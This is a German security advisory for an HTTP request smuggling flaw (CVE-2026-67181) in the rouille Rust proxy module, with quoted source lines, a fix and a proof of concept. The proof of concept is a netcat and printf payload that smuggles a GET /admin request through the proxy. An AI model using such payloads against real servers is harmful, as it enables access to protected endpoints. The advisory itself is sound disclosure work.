
Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)
Zugewiesene CVE-ID: CVE-2026-67181
rouille::proxy::proxy leitet den Transfer-Encoding-Header des Clients unverändert an das
Backend weiter, schreibt aber den Request-Body, den tiny_http bereits de-chunked hat. Es wird
niemals ein eigenes Content-Length gesendet. Dem Backend wird mitgeteilt, der Body sei
gechunkt, und es erhält Bytes, die nicht gechunkt sind. Somit entscheidet der Client, nicht
rouille, wo das Backend denkt, dass der Body endet.
Repo-URL: https://github.com/tomaka/rouille
| Erstmals betroffen | 0.3.3 (2016-12-03), das Release, das src/proxy.rs einführte |
| Zuletzt betroffen | 3.6.2 (2023-04-24), das aktuelle Release |
| Nicht betroffen | 0.3.2 und früher, die kein Proxy-Modul haben |
| Behoben in | zum Zeitpunkt des Schreibens keine behobene Version |
src/proxy.rs ist zwischen dem 3.6.2-Tag und dem aktuellen master byte-identisch.
Nur Anwendungen, die proxy::proxy oder proxy::full_proxy aufrufen, sind betroffen.
CWE-444 (Inkonsistente Interpretation von HTTP-Requests).
CVSS 4.0-Basiswert 6.3 (Mittel)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
Ein entfernter, nicht authentifizierter Client, der rohes HTTP an eine rouille-Anwendung sendet, die als Reverse-Proxy fungiert. Es sind keine Anmeldeinformationen oder Benutzerinteraktion erforderlich.
Die Auswirkung hängt vom Backend ab. Backends, die unabhängig von Connection: close
pipelinen, sowie jeder Verbindungspool-vermittelnde Zwischenknoten zwischen rouille und dem
Origin werden auf den geschmuggelten Request reagieren. Backends, die Connection: close
respektieren, enden dennoch mit einem Request-Body, der sich von dem unterscheidet, den der
Client gesendet hat und den rouille gesehen hat.
tiny_http de-chunkt immer dann, wenn ein Transfer-Encoding-Header vorhanden ist, und
verwirft Content-Length.
tiny_http-0.12.0/src/request.rs, Zeilen 149 bis 159:
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
tiny_http-0.12.0/src/request.rs, Zeilen 218 bis 221:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
rouille/src/proxy.rs leitet dann jeden Header außer Connection weiter und kopiert den
dekodierten Body. Zeilen 167 bis 174:
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
Das Transfer-Encoding: chunked des Clients überlebt Zeile 171. Zeile 174 schreibt den
Klartext, den Decoder erzeugt hat. Es wird niemals ein Content-Length geschrieben, sodass das
Backend nichts anderes zur Rahmengrenze hat und Chunked-Parsing auf Klartext anwendet, den der
Angreifer gewählt hat.
Schritt 1. Starten Sie einen rohen Listener auf Port 8001, der als Backend fungiert und die Bytes zeigt, die rouille sendet.
nc -l 127.0.0.1 8001 | cat -v
Schritt 2. Starten Sie ein rouille-Frontend auf Port 8000.
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Schritt 3. Senden Sie einen korrekt gechunkten Request, dessen dekodierter Body selbst ein Chunked-Stream ist, der sofort endet, gefolgt von einem zweiten Request. Der einzelne Chunk ist 0x3d = 61 Bytes lang.
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
Ergebnis. Der Listener aus Schritt 1 zeigt, dass rouille Chunked-Framing ankündigt und dann Klartext sendet:
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
Ein Backend, das Transfer-Encoding: chunked beachtet, liest die Chunk-Größenzeile 0,
schließt daraus, dass der Body leer ist, und parst die verbleibenden 56 Bytes als neuen Request.
Die Sicht des Backends auf den Request-Body weicht sowohl von den Bytes ab, die der Client gesendet hat, als auch von den Bytes, die rouille gelesen hat. Alles vorgelagerte, das den Body protokolliert, prüft oder spiegelt, zeichnet etwas anderes auf als das, worauf das Backend reagiert hat.
Wo das Backend trotz Connection: close piplinet oder wo ein Verbindungspool-vermittelnder
Zwischenknoten zwischen rouille und dem Origin liegt, werden die nachfolgenden Bytes zu einem
zweiten Request mit einer vom Angreifer gewählten Methode und einem vom Angreifer gewählten Pfad.
Das Content-Length des Clients wird ebenfalls weitergeleitet, obwohl tiny_http es ignoriert
hat. Ein Backend, das Content-Length gegenüber Transfer-Encoding bevorzugt, erhält dadurch
direkt eine CL.TE-Desynchronisierung.
Leiten Sie keine Framing-Header weiter, die einen Body beschreiben, den rouille bereits dekodiert
hat. Erweitern Sie in src/proxy.rs den Überspringungsschritt in Zeile 167:
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
Senden Sie dann ein Framing, das dem tatsächlich Geschriebenen entspricht: Puffern Sie den Body
und senden Sie ein genaues Content-Length, oder chunk-en Sie ihn erneut und senden Sie selbst
Transfer-Encoding: chunked, vor dem abschließenden \r\n\r\n in Zeile 173.